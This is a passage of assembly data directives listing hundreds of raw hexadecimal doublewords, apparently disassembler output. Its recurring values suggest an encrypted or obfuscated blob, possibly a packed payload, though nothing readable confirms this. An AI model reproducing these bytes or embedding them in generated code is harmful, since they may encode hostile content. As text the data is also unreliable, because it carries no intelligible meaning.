		dd 0A41DD106h, 0EC57F725h, 0A40304A7h, 0EC51DB3Dh, 0A61464A7h
		dd 1CD86571h, 442AACAh,	1B3AD9ABh, 0A0C42FF6h, 220BFA79h
		dd 0A0C634FFh, 220BEE19h, 35085F29h, 0A69AE171h, 0EC4B2F3Dh
		dd 54D062A7h, 7C42AAC8h, 0A6429A23h, 0EC69FB3Dh, 1BFB5CA7h
		dd 4CA076A9h, 0A86BE171h, 220BEAE5h, 9E4AA9DBh,	1B3AD9ADh
		dd 1B805F29h, 5623E171h, 0D23AD9A0h, 0C864A9h, 2442AAC1h
		dd 0EC5A173Dh, 1C1C5CA7h, 1B5F5DAFh, 0D8C5D9A0h, 220BEE61h
		dd 3B207F23h, 4438E171h, 0EC58BF25h, 94D062A7h,	1E42AAB4h
		dd 0EC5B575Dh, 1B3BC2A7h, 0D0C7D9A0h, 220FE3C5h, 1B3AEA89h
		dd 87F364A0h, 2072655h,	0CFFC51B8h, 0E81A10F0h,	853B4466h
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	383EFDE4h
		dd 623AD9A0h, 0C4429CF7h, 446E2A90h, 16EDE61Bh,	34BFFD01h
		dd 0A442AAA2h, 0EC505335h, 0B03A3AA7h, 220BD9F5h, 38FDA0Ah
		dd 1B3AD9A4h, 78FE36C0h, 1F5F4629h, 1F5F1E21h, 1B3AD9B4h
		dd 81FE2EE5h, 1B3AE388h, 0D9B6FDA0h, 68BE3D25h,	0A8C46A11h
		dd 220BE2B1h, 2A5E92FBh, 0B83DD9A0h, 220BF4E9h,	2437BB23h
		dd 0EC51172Dh, 0D6A1D5A7h, 0DB6687D8h, 38FDA0Ah, 1B3AD9A4h
		dd 78FE36C0h, 1F5F4629h, 1F5F1E21h, 1B3AD9B9h, 25FE2EE5h
		dd 78C45FA5h, 1B3B9415h, 0C833D9A0h, 30C9BD3h, 4BEA9A4h
		dd 852F4EA5h, 1E232BA0h, 3B3AD9A0h, 0A4959CFAh,	9C3EFDF4h
		dd 343EFDE4h, 5D3AD9A0h, 54BD9CF2h, 0D5453E92h,	1BA5B42Bh
		dd 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h, 1B4FDDC4h
		dd 7180D9A0h, 28757363h, 1B3ADA28h, 1B4E63AFh, 2923D9A0h
		dd 0C53AD9A0h, 5B2B1310h, 58DEDC9Ah, 6CBF8415h,	6CD064D5h
		dd 9C42AABBh, 0D4D61197h, 70C864B7h, 8542AACDh,	1E2329A0h
		dd 3B3AD9A0h, 0A4939CF8h, 9C3EFDE4h, 323EFDE4h,	5B3AD9A0h
		dd 3E1A9CF0h, 0A68B17A4h, 1E536562h, 0A6536561h, 1E23AB61h
		dd 73536562h, 0EA0E5B06h, 6E3B43ECh, 1B3ADD88h,	0DE95F9A0h
		dd 3F9762FBh, 3F7F5AA4h, 1B3AF4A4h, 0DE8E1CA0h,	93A82E19h
		dd 0D0DEAA37h, 897C25Bh, 0E0F85D07h, 1B42AABBh,	1B9B5DAFh
		dd 1BA4D9A0h, 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h
		dd 1B54DDC4h, 6C7BD9A0h, 82BD5B63h, 6A2A58ACh, 1B3B9295h
		dd 49AD9A0h, 1B3AD9ADh,	32854CF4h, 0FC07C005h, 13078955h
		dd 1B3AEC8Ah, 25BB68A0h, 9472440Eh, 2EEA1C96h, 0E0A53DF2h
		dd 7CD12410h, 6845672Dh, 0D6A0E171h, 0FC3A29E6h, 0D8BE4553h
		dd 220BF6D9h, 2FBEE8A0h, 723AD9A4h, 0D8BE3599h,	220BF6D9h
		dd 3ABEE8A1h, 853AD9A4h, 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh
		dd 9C3EFE1Ch, 313EFDE4h, 623AD9A0h, 0C6BA9CF7h,	54F85CD9h
		dd 1E42AABDh, 1EF95FAFh, 2323D9A0h, 0DC3AD9A0h,	2C6C2E8Dh
		dd 7B533FD7h, 821EA921h, 0A7A1081Bh, 30C06379h,	9B42AAB5h
		dd 2522DE81h, 0B33AD9A0h, 188BB3CAh, 546C4655h,	6BC4027h
		dd 2A95E04Bh, 0E445B45Fh, 1C9F5DAFh, 0A0C5D9A0h, 220C0295h
		dd 1B3AE689h, 0CA1257A0h, 0A7BE6DBEh, 57A2FC65h, 1FBEE8DBh
		dd 813AD9A0h, 4E68D15Fh, 0EC6CA725h, 6B928CA7h,	1B42C200h
		dd 6AC9D9A0h, 5F4BD67Dh, 2A8D2A8Ch, 739333D1h, 0A49CBD57h
		dd 1BA4FDA4h, 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h
		dd 1B4EDDC4h, 6C7BD9A0h, 0A6A19F63h, 853B4499h,	1E232FA0h
		dd 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h, 333EFDE4h,	613AD9A0h
		dd 9B999CF6h, 1C2F44A3h, 0EC477355h, 0F0B441A7h, 6D8B6C1Fh
		dd 73950AAFh, 0A15EDE21h, 0A6A878CEh, 0EC3B7F3Dh, 30D0D8A7h
		dd 8542AACBh, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh,	9C3EFE0Ch
		dd 363EFDE4h, 603AD9A0h, 66A29CF5h, 94E5228Ch, 242317C3h
		dd 3D3AD9A0h, 0C81BC4F1h, 0C709D4C5h, 1B3AED89h, 67B0A0A0h
		dd 619E0BACh, 0FF699DC0h, 6E51E1D0h, 5EA07BD3h,	272439FBh
		dd 9B3AD9A0h, 0B4CAD602h, 0ABD37502h, 4209953h,	1B3AD9A8h
		dd 0DBA0BABCh, 7CF85B8Bh, 5955F29h, 1BA4E175h, 1B3EC1F7h
		dd 7A5AD9A0h, 97C43963h, 5FBBDDC4h, 1B53DDC4h, 7281D9A0h
		dd 0DB6E3363h, 0A48493C9h, 0EC51375Dh, 1C08C2A7h, 1BA4D9A0h
		dd 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B52DDC4h
		dd 6C7BD9A0h, 77784F63h, 0A0C69B52h, 220FC3F2h,	48F45EC9h
		dd 1B01E171h, 1B3AD9B8h, 38FDA0Ah, 1B3AD9A4h, 78FE36C0h
		dd 1F5F4629h, 1F5F1E21h, 1B3AD9B4h, 12FE2EE5h, 0A61A98B0h
		dd 0EF253055h, 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh
		dd 3F7F5AA4h, 1B3AF3A4h, 0DE901EA0h, 0C4F397D9h, 4466C73h
		dd 1B3AD9B0h, 0C982D8BDh, 4A915894h, 6FE03416h,	0A60B3569h
		dd 0EC477725h, 6E3B43A7h, 1B3ADD88h, 0DE95F9A0h, 3F9762FBh
		dd 3F7F5AA4h, 1B3AF4A4h, 0DE8E1CA0h, 0EF62C2FDh, 0B56AA43Dh
		dd 2100972Bh, 21C3E171h, 226466A9h, 0A0C5E171h,	220C0295h
		dd 1B3D5FAFh, 0F0F1D9A0h, 0D63F2029h, 401AD84Ch, 33E496D1h
		dd 81D0E171h, 7B8BD42Bh, 25E0365Eh, 20C6E8D0h, 0D33AD9A0h
		dd 8BB9E8E2h, 1BA57001h, 1B3EC1F2h, 755AD9A0h, 6FC43463h
		dd 5FBBDDC4h, 1B53DDC4h, 6D7CD9A0h, 0F87AE363h,	4CAC8517h
		dd 0EC3CDF3Dh, 6DF0D8A7h, 8542AE8Ah, 1E2329A0h,	3B3AD9A0h
		dd 0A4939CF8h, 9C3EFDE4h, 343EFDE4h, 5B3AD9A0h,	3C839CF0h
		dd 263DA4C6h, 1B3ADE88h, 3A3ED8A0h, 0F9C63FA0h,	0A63564F0h
		dd 33EFDE4h, 1B3AD9AFh,	0A6F182B5h, 0FBC42CB5h,	8DE2A9BBh
		dd 14C6AC23h, 43B64FCh,	1B3AD9AAh, 34C633D4h, 0C06940E4h
		dd 3F7F6380h, 0D4FA3FA4h, 9CA13227h, 0A8F8096Bh, 0EF253425h
		dd 20C9E8A7h, 813AD9A0h
		dd 4636B121h, 0F3C64030h, 0D3F63FF0h, 0D8C469AAh, 220C0CDDh
		dd 46506F9Fh, 0A849E171h, 1B3AD9ADh, 1B3AE289h,	4DCAA8A0h
		dd 0BEAD6134h, 68D864BFh, 7C42AABBh, 0A0022153h, 220BF6D9h
		dd 1B3AD9A3h, 38FDA0Ah,	1B3AD9A4h, 78FE36C0h, 1F5F4629h
		dd 1F5F1E21h, 1B3AD9B9h, 21FE2EE5h, 0D33E398Bh,	0A24A3054h
		dd 1B3AD9A0h, 75F85CFFh, 1B42AE8Ah, 1B655DAFh, 1BA4D9A0h
		dd 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B4FDDC4h
		dd 6C7BD9A0h, 0A44D3163h, 0EC6BF755h, 44A90A7h,	1B3AD9BCh
		dd 2C4709F0h, 1C4C1DA0h, 4B4BC261h, 1B3CEAE4h, 733DEAECh
		dd 903FC323h, 6B71C587h, 1B4BDDD0h, 0DC3BEB04h,	5F6AEA88h
		dd 7F3ADBB1h, 9E92DCB1h, 2AFDE89h, 0DC8AF58Ch, 7F62EA88h
		dd 5F6ADCB1h, 4392DBB1h, 4B3BEB04h, 4BDEAA4h, 6224EA5h
		dd 85FB64A1h, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh,	9C3EFE0Ch
		dd 353EFDE4h, 603AD9A0h, 890B9CF5h, 0F5F19FB0h,	80209534h
		dd 1BA4ECF5h, 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h
		dd 1B50DDC4h, 6C7BD9A0h, 5AE81C63h, 0CD858B00h,	0B8C63B6Ch
		dd 220BF9C9h, 38749723h, 2A3DE171h, 1B3EBD25h, 0C062A0h
		dd 9E42AAB1h, 0EF25345Dh, 9F49D9A7h, 1B3ADD70h,	38CDA0Ah
		dd 1B3AD9A4h, 75FE33C0h, 1F5F2E29h, 1F5F1E21h, 1B3AD9BCh
		dd 66FE2BE2h, 0E7349459h, 0A5502A02h, 75F0D99Ch, 0A442AE8Ah
		dd 0EC697F2Dh, 0CCD0D8A7h, 8142AACEh, 0A08DB521h, 5898F2Bh
		dd 1BA4E175h, 1B3EC1F7h, 7A5AD9A0h, 97C43963h, 5FBBDDC4h
		dd 1B55DDC4h, 7281D9A0h, 7A903E63h, 0C81FEEEDh,	28D864B8h
		dd 0A642AAB0h, 0EC6E635Dh, 1C41A0A7h, 813ADAA0h, 0D6D1D32Bh
		dd 3B981260h, 0B13464F0h, 391DA0Ah, 1B3AD9A4h, 7AFE38C0h
		dd 1F5F5629h, 1F5F1E21h, 1B3AD9BCh, 99FE30E7h, 635DBEA8h
		dd 2C2845D0h, 4908972Bh, 0D039E171h, 220FC3FAh,	38ADA0Ah
		dd 1B3AD9A4h, 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9BCh
		dd 0F6FE29E0h, 0C031A4Eh, 8B7C0918h, 31387729h,	0A690E171h
		dd 0B03A397Fh, 220C0B45h, 38ADA0Ah, 1B3AD9A4h, 73FE31C0h
		dd 1F5F1E29h, 1F5F1E21h, 1B3AD9BDh, 76FE29E0h, 3B7F1DC8h
		dd 0E143FCF2h, 0B8C639CDh, 220BFC9Dh, 493C76C9h, 0A69BE171h
		dd 0EF252855h, 0A0C6CEA7h, 220C04D1h, 48C8772Bh, 3E9AE171h
		dd 0EC5C7355h, 0F9C63FA7h, 0DFC16301h, 853AD9A0h, 1E232BA0h
		dd 3B3AD9A0h, 0A4959CFAh, 9C3EFDF4h, 383EFDE4h,	5D3AD9A0h
		dd 83739CF2h, 7379E812h, 9AD35A2Dh, 1B3AE888h, 42ACD3A0h
		dd 4DD73E8Ch, 84146773h, 9C51E069h, 36B51C7Bh, 0B0C63906h
		dd 220BF4F1h, 38ADA0Ah,	1B3AD9A4h, 73FE31C0h, 1F5F1E29h
		dd 1F5F1E21h, 1B3AD9BDh, 14FE29E0h, 37C33092h, 0DEE9B5A7h
		dd 28D804A7h, 9E42AAD2h, 6BC3DE62h, 0F4C639C0h,	7C156506h
		dd 19205F2Dh, 0B8C5E175h, 220BF52Dh, 1BF36029h,	0A6A0D9A0h
		dd 853B447Ah, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h,	9C3EFDECh
		dd 323EFDE4h, 5C3AD9A0h, 44699CF1h, 9D4A3688h, 1B3AD9A0h
		dd 5958F9Fh, 1BA4E175h,	1B3EC1F3h, 765AD9A0h, 77C43563h
		dd 5FBBDDC4h, 1B4EDDC4h, 6E7DD9A0h, 9CA19F63h, 1A93DA8Fh
		dd 0EC58C336h, 21C5E8A7h, 9C3AD9A0h, 0ECD9AF97h, 6D8B29A2h
		dd 1B3AE589h, 0C2B071A0h, 0B1B11E1h, 56B02E22h,	6D8B0AAFh
		dd 1B3B5BAFh, 4C49D9A0h, 544A9906h, 739531FAh, 855F0E29h
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	373EFDE4h
		dd 623AD9A0h, 32629CF7h, 0D95AB258h, 0DADAEEE6h, 7A8CB7E8h
		dd 5958F9Fh, 0DA49E175h, 0B4EFDB7Bh, 1A42AAD0h,	0EC687736h
		dd 96165AA7h, 9E9DCD8Fh, 0EC62E35Dh, 9F49D9A7h,	1B3AD9BFh
		dd 1B186729h, 6BD0E171h, 9EDF525Bh, 0B18B38E8h,	0B0C4D200h
		dd 220BEDE9h, 0F0D86501h, 1A42AAC6h, 0EF253456h, 6D3B43A7h
		dd 1B3ADD88h, 0DE94F9A0h, 3F8F62FAh, 3F7F5AA4h,	1B3AEDA4h
		dd 0DE8D1BA0h, 0D0D0D912h, 8542AAD2h, 1E232BA0h, 3B3AD9A0h
		dd 0A4959CFAh, 9C3EFDF4h, 333EFDE4h, 5D3AD9A0h,	0B1889CF2h
		dd 816E57BBh, 0DA9BB32Bh, 36CC36CDh, 7C3498AFh,	28F862F6h
		dd 7642AAC5h, 5958F9Fh,	2522E175h, 873AD9A0h, 0E262FE80h
		dd 2DB6818Fh, 78D062B4h, 7A42AACDh, 42446F9Fh, 0A6A0E171h
		dd 0D0C4319Ah, 220C01D9h, 0DCF85CFFh, 1D42AAAFh, 1B9B5DAFh
		dd 1BA4D9A0h, 1B3EC1F3h, 765AD9A0h, 77C43563h, 5FBBDDC4h
		dd 1B55DDC4h, 6E7DD9A0h, 4AAF8863h, 3E244B04h, 13F9E8CEh
		dd 3044772Ah, 0A0C5E171h, 220BF7C5h, 391DA0Ah, 1B3AD9A4h
		dd 7AFE38C0h, 1F5F5629h, 1F5F1E21h, 1B3AD9BDh, 6EFE30E7h
		dd 0C17C674Bh, 5C493679h, 4D062C1h, 0E142AAB5h,	0A001D9A0h
		dd 220BFC6Dh, 1B3AD9A0h, 0AF759906h, 1A2EB089h,	703B44A0h
		dd 1B3ADD88h, 0DE97F9A0h, 3FA762FDh, 3F7F5AA4h,	1B3AEEA4h
		dd 0DE901EA0h, 0A6A173B3h, 7BFC659Eh, 1B4164AFh, 0A0C5D9A0h
		dd 220BFCDDh, 0A89C0351h, 0EC4E3B25h, 0C0D864A7h, 0AB42AAA1h
		dd 1B575DAFh, 2F22D9A0h, 673AD9A0h, 6B8A269Eh, 69730938h
		dd 918C017Ch, 8A82CFC4h, 7BE68296h, 6B8B3901h, 1BC5E8F2h
		dd 2A3AD9A0h, 0AB9333D1h, 48145F29h, 1BA4E171h,	391DA0Ah
		dd 1B3AD9A4h, 7AFE38C0h, 1F5F5629h, 1F5F1E21h, 1B3AD9B8h
		dd 71FE30E7h, 0A618F2F5h, 352C972Bh, 1BA4E171h,	38ADA0Ah
		dd 1B3AD9A4h, 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9BAh
		dd 61FE29E0h, 0A0F8333h, 0A0C8ACABh, 221077BAh,	1B4BC2F6h
		dd 3C10D9A0h, 0CA154D04h, 0A88A197Bh, 0B96DA33Dh, 9E968C17h
		dd 0EEBBDF60h, 377B8D5Ch, 6B159130h, 1B3AE689h,	0AA344A0h
		dd 1E755B7Fh, 0C252585h, 0D8C66A02h, 220BF4FDh,	0A86BDA0Ah
		dd 220BF91Dh, 1BA4DA0Ah, 1B3EC1F6h, 795AD9A0h, 8FC43863h
		dd 5FBBDDC4h, 1B55DDC4h, 7180D9A0h, 0C2D2AF63h,	0D9AD1233h
		dd 21C3E8C3h, 3E3AD9A0h, 0EC6D3B3Dh, 88C062A7h,	1A42AAC9h
		dd 0EC58BB36h, 723B43A7h, 1B3ADD88h, 0DE99F9A0h, 3FB762FFh
		dd 3F7F5AA4h, 1B3AF6A4h, 0DE9220A0h, 0E94015h, 64B08BA9h
		dd 7B92D5A9h, 0A63690AFh, 0A8963B99h, 0EF10402Dh, 703B43A7h
		dd 1B3ADD88h, 0DE97F9A0h, 3FA762FDh, 3F7F5AA4h,	1B3AEDA4h
		dd 0DE901EA0h, 28F8652Fh, 1A42AAA9h, 0A0F86572h, 9E42AAB9h
		dd 0EC51EF5Dh, 0A049DAA7h, 1B3ADA00h, 38ADA0Ah,	1B3AD9A4h
		dd 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9BBh, 58FE29E0h
		dd 7554F3FAh, 85274B91h, 19F9E8A2h, 20C7E8F1h, 0DA3AD9A0h
		dd 47B736CBh, 1A5EDE29h, 0EC58C336h, 713B43A7h,	1B3ADD88h
		dd 0DE98F9A0h, 3FAF62FEh, 3F7F5AA4h, 1B3AF1A4h,	0DE911FA0h
		dd 0C46B04D6h, 13C6403Bh, 1B47368Ah, 1B3BC1A0h,	9C97D9A0h
		dd 0F0D8FE8Dh, 2CF802A7h, 0A442AAB7h, 0EC3D2725h, 92C066A7h
		dd 8142AE5Ch, 7BCBD32Bh, 77E3055Eh, 0E0C539F8h,	7C9C3B00h
		dd 1BA569F0h, 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h
		dd 1B53DDC4h, 7180D9A0h, 4F0B0C63h, 9C7FB426h, 50A22963h
		dd 503A3DE0h, 1B3AD9A0h, 391DA0Ah, 1B3AD9A4h, 7AFE38C0h
		dd 1F5F5629h, 1F5F1E21h, 1B3AD9B6h, 0B5FE30E7h,	0B8C668C7h
		dd 220BF8CDh, 1B606304h, 0A63AD9A0h, 0EC581B5Dh, 3CC0D8A7h
		dd 7B42AAC9h, 1B47C2F2h, 0DDB0D9A0h, 4583461Dh,	62AD1D4Ah
		dd 8195FB4Bh, 0DBBAC021h
		dd 853A4401h, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h,	9C3EFDECh
		dd 363EFDE4h, 5C3AD9A0h, 52B39CF1h, 0C0B7FF17h,	813365DDh
		dd 1A5FCE5Fh, 0EC4B5B56h, 0E0F7FCA7h, 1A42AAD2h, 0EC4EF736h
		dd 1B1AC2A7h, 0F6BAD9A0h, 1C3B8A85h, 0EC6DAF55h, 7BABBFA7h
		dd 1B4163AFh, 0B86BD9A0h, 220BF29Dh, 2AACBE01h,	1B3AE223h
		dd 1DBFE8A0h, 0CE3AD9A0h, 2A9C15B8h, 1B3B8623h,	2A1863A0h
		dd 0D8C6A256h, 220BFF4Dh, 1B3AE05Ah, 0F2BC3FA0h, 0DCC68D17h
		dd 0EBDB9906h, 2A3FC261h, 12A1D45Fh, 0A6333A83h, 0EC54F35Dh
		dd 0E3663AA7h, 1B3C63AFh, 0A636D9A0h, 38F63171h, 76A946A7h
		dd 1B3AE089h, 84D802A0h, 0A642AAA7h, 0EC536B25h, 0A70E59A7h
		dd 2A429A23h, 1B3ADF2Eh, 71E794A0h, 0DBBE3EC3h,	0EB76CEA0h
		dd 1B4B5CAFh, 0B863D9A0h, 220BFC5Dh, 1B3B0E89h,	12BC3FA0h
		dd 0A8C69D41h, 220BFF49h, 0E3FE5B06h, 1C1C5D3Bh, 1B565DAFh
		dd 9E32D9A0h, 0EC608345h, 15C6D7A7h, 33CC6F2Ah,	0B8C5E171h
		dd 220C0501h, 1B3ADA89h, 6CF066A0h, 0A442AEBBh,	0EC421B2Dh
		dd 0A43B43A7h, 0EC64CF3Dh, 70D0D8A7h, 0A442AAA0h, 0EC3CBF5Dh
		dd 0D45A8CA7h, 1B3AE1ABh, 404896ABh, 0FCBDE171h, 6B3B449Ch
		dd 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h,	1B3AF0A4h
		dd 0DE8B19A0h, 0EEEB0CE9h, 3D048EC9h, 8536E171h, 1E232BA0h
		dd 3B3AD9A0h, 0A4959CFAh, 9C3EFDF4h, 353EFDE4h,	5D3AD9A0h
		dd 7BFC9CF2h, 118411B0h, 1BF3D233h, 443AD9A0h, 0EC43A335h
		dd 0C80D04A7h, 30C9BD3h, 4BEA9A4h, 0A62F4EA5h, 0EC6B2B5Dh
		dd 6B3B43A7h, 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h,	3F7F5AA4h
		dd 1B3AEDA4h, 0DE8B19A0h, 28218CB1h, 1B3ADA28h,	94FA4000h
		dd 0A8D064C9h, 7C42AAD2h, 368C6F2Bh, 0B8C3E171h, 220BED39h
		dd 4890672Bh, 1BA4E171h, 1B3EC1F0h, 735AD9A0h, 5FC43263h
		dd 5FBBDDC4h, 1B4FDDC4h, 6B7AD9A0h, 9CDF7463h, 2854F07Fh
		dd 0E4EFDAD7h, 6B42AAC8h, 33C69C2Bh, 33C69AA3h,	30C9B2Bh
		dd 33C69BA4h, 723B43F8h, 1B3ADD88h, 0DE99F9A0h,	3FB762FFh
		dd 3F7F5AA4h, 1B3AF5A4h, 0DE9220A0h, 0BB0FFE4Bh, 7F3AEC6Fh
		dd 6C3B43C0h, 1B3ADD88h, 0DE93F9A0h, 3F8762F9h,	3F7F5AA4h
		dd 1B3AEFA4h, 0DE8C1AA0h, 0A672045Fh, 0EC582B3Dh, 0E0F85CA7h
		dd 1B42AABBh, 1BDE5DAFh, 2B23D9A0h, 8B3AD9A0h, 0B9667DD0h
		dd 3B72DB2Eh, 2057E1A6h, 0A4A7657Fh, 0EC5FE73Dh, 1B3B91A7h
		dd 1BA4D9A0h, 1B3EC1F7h, 7A5AD9A0h, 97C43963h, 5FBBDDC4h
		dd 1B54DDC4h, 7281D9A0h, 0F87FB963h, 0E3910AF3h, 40706F29h
		dd 0A8C7E171h, 220C26AAh, 390DA0Ah, 1B3AD9A4h, 79FE37C0h
		dd 1F5F4E29h, 1F5F1E21h, 1B3AD9BDh, 1DFE2FE6h, 661DFF9h
		dd 2279098Fh, 1B42C33Eh, 0F3C0D9A0h, 0BA9874CDh, 851CD8DAh
		dd 1E232FA0h, 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h,	353EFDE4h
		dd 613AD9A0h, 0CCC49CF6h, 7C34B31Dh, 54F85D6Eh,	1B42AABDh
		dd 1E095DAFh, 2E23D9A0h, 0B43AD9A0h, 0C60959D3h, 0FCF2C4DEh
		dd 997318CEh, 20BB552h,	0D8BEC93Ch, 220BF6D9h, 0DFBEE8A1h
		dd 853AD9A3h, 1E232BA0h, 3B3AD9A0h, 0A4959CFAh,	9C3EFDF4h
		dd 353EFDE4h, 5D3AD9A0h, 0B4E59CF2h, 2132EE97h,	54F85D30h
		dd 1E42AABDh, 1E9A5FAFh, 1BA4D9A0h, 1B3EC1F0h, 735AD9A0h
		dd 5FC43263h, 5FBBDDC4h, 1B55DDC4h, 6B7AD9A0h, 0C60C1A63h
		dd 85DD301Bh, 0DCC80B33h, 7B42AAC4h, 38CDA0Ah, 1B3AD9A4h
		dd 75FE33C0h, 1F5F2E29h, 1F5F1E21h, 1B3AD9B9h, 5CFE2BE2h
		dd 47F91F7Ah, 0F4C73FBBh, 7CA1A121h, 0FCBB36C1h, 5CF802A4h
		dd 2542AAC8h, 11BEE969h, 853AD9A1h, 1E232EA0h, 3B3AD9A0h
		dd 0A4989CFDh, 9C3EFE0Ch, 353EFDE4h, 603AD9A0h,	1DD9CF5h
		dd 56768024h, 1B4BC2DEh, 45F8D9A0h, 4FB3CDE0h, 0C57DFC8Eh
		dd 0DC2F80C2h, 0A0C6ADB8h, 220C0295h, 1B3AE689h, 9991EEA0h
		dd 6689BAF7h, 6D2B1545h, 0E8C00D33h, 8542AAD1h,	1E232FA0h
		dd 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h, 353EFDE4h,	613AD9A0h
		dd 275B9CF6h, 3221D846h, 4028D11h, 1B3AD9B3h, 54D3342Bh
		dd 0F47C2FA8h, 0FC0A1ED5h, 0A5ACC136h, 38B4514h, 1B3AD9AAh
		dd 0A846BF63h, 87C08AC1h, 1FC43990h, 833B43C4h,	442032DFh
		dd 10049506h, 0DB5F0E22h, 8564D3FAh, 1E2329A0h,	3B3AD9A0h
		dd 0A4939CF8h, 9C3EFDE4h, 343EFDE4h, 5B3AD9A0h,	15A19CF0h
		dd 56D8D189h, 3C78772Bh, 0B039E171h, 220C04B5h,	420A5B06h
		dd 75C062FBh, 442AE8Ah,	1B3ADB38h, 4BFF325Bh, 6DC064A3h
		dd 7B42AE8Ah, 4FE6506h,	1B3AD9AFh, 27C75652h, 91EE9392h
		dd 0FDBCCFA6h, 0E29C55A2h, 1B3AF1A0h, 6D3B43A0h, 1B3ADD88h
		dd 0DE94F9A0h, 3F8F62FAh, 3F7F5AA4h, 1B3AF0A4h,	0DE8D1BA0h
		dd 0AD712922h, 5918F2Bh, 1BA4E175h, 1B3EC1F0h, 735AD9A0h
		dd 5FC43263h, 5FBBDDC4h, 1B57DDC4h, 6B7AD9A0h, 211B9863h
		dd 408AA168h, 0A6B3FB65h, 0EC477725h, 3CD864A7h, 0A442AAD3h
		dd 18F7E4A6h, 0A642AAC6h, 0EC63CF25h, 6B3B43A7h, 1B3ADD88h
		dd 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h, 1B3AF2A4h,	0DE8B19A0h
		dd 0EE56EDDBh, 0A0C42B17h, 220BF175h, 853F2029h, 1E232CA0h
		dd 3B3AD9A0h, 0A4969CFBh, 9C3EFDFCh, 303EFDE4h,	5E3AD9A0h
		dd 0F1219CF3h, 1B3AEA89h, 14A5EFA0h, 7E8D39D4h,	6035AEC6h
		dd 0E9FC2BBEh, 0DAA12A7Ah, 4FC3E278h, 0CCD7DCC4h, 1A42AACAh
		dd 0EF252C56h, 833963A7h, 861DDC0Fh, 1B3AE189h,	0ECBB75A0h
		dd 0FE872C0Bh, 0AB5F0E21h, 85A6D5A1h, 1E2329A0h, 3B3AD9A0h
		dd 0A4939CF8h, 9C3EFDE4h, 373EFDE4h, 5B3AD9A0h,	0D04D9CF0h
		dd 8589B7B2h, 0A4AD5EB7h, 0EC56B735h, 75C066A7h, 0D242AE8Ah
		dd 0AB8B69A8h, 38FDA0Ah, 1B3AD9A4h, 78FE36C0h, 1F5F4629h
		dd 1F5F1E21h, 1B3AD9B9h, 8FE2EE5h, 0BAD37A89h, 5CC802EFh
		dd 1A42AAB5h, 0EC65EF36h, 6C3B43A7h, 1B3ADD88h,	0DE93F9A0h
		dd 3F8762F9h, 3F7F5AA4h, 1B3AEFA4h, 0DE8C1AA0h,	7CADD3B0h
		dd 305C5F29h, 0A001E171h, 220BF6D9h, 1B3AD9A3h,	1B3AED89h
		dd 67C37FA0h, 0AF66A451h, 0BF9D327Eh, 0A31C22BDh, 1EC8A41h
		dd 5959724h, 2A3AE175h,	1B3B1624h, 703B43A0h, 1B3ADD88h
		dd 0DE97F9A0h, 3FA762FDh, 3F7F5AA4h, 1B3AF0A4h,	0DE901EA0h
		dd 52E7E3A9h, 1B415AAFh, 0B8C5D9A0h, 220C008Dh,	1825A521h
		dd 3C2449E8h, 0A63AD9A0h, 0EC5BAB3Dh, 276B29A7h, 2C7ED9B1h
		dd 2B239AA1h, 1D4C1DD0h, 1E4C25A0h, 1F245CF8h, 5126C115h
		dd 2C3F09F0h, 1C4C3DA0h, 4B4BC261h, 1B3CEAE4h, 733DEB04h
		dd 903FC323h, 6B56C587h, 434BC261h, 4B3DEB04h, 733CEAE4h
		dd 1C4C3DC8h, 9E4BDDD0h, 2AFDE89h, 0DBC5DA8Ch, 38BDA0Ah
		dd 1B3AD9A4h, 74FE32C0h, 1F5F2629h, 1F5F1E21h, 1B3AD9B4h
		dd 42FE2AE1h, 0B8C6B22Bh, 220C0525h, 38749723h,	2A3DE171h
		dd 1B3EE625h, 75F85CA0h, 1B42AE8Ah, 1E3A5DAFh, 1BA4D9A0h
		dd 1B3EC1F0h, 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B50DDC4h
		dd 6B7AD9A0h, 0A9F36763h, 0B50D9500h, 0B8C5E486h, 220BFABDh
		dd 75F0D901h, 2A42AE8Ah, 0B03AB25Fh, 220C0851h,	0A4396500h
		dd 0EC688B2Dh, 0B8C63AA7h, 220C0D45h, 5898F2Bh,	0B8C5E175h
		dd 220BF37Dh, 1B3BE067h, 9CA0D9A1h, 0B13B7787h,	32C8E8F0h
		dd 43AD9A0h, 1B3AD9B3h,	90ADD398h, 8C25E9A9h, 0B5BF9F66h
		dd 1C535DF3h, 44D14D02h
		dd 0EC6E6F25h, 75F0D8A7h, 8142AE8Ah, 1A18BB5Bh,	0EC6C7F36h
		dd 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh,	3F7F5AA4h
		dd 1B3AF0A4h, 0DE901EA0h, 0B1B47137h, 2EA05F29h, 0D0C5E171h
		dd 220FC3EEh, 92325A00h, 407096ABh, 0A69BE171h,	0EC660B25h
		dd 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh,	3F7F5AA4h
		dd 1B3AF0A4h, 0DE901EA0h, 7E81BE44h, 3AB8772Bh,	0A1C3E171h
		dd 1B3ADA64h, 38FDA0Ah,	1B3AD9A4h, 78FE36C0h, 1F5F4629h
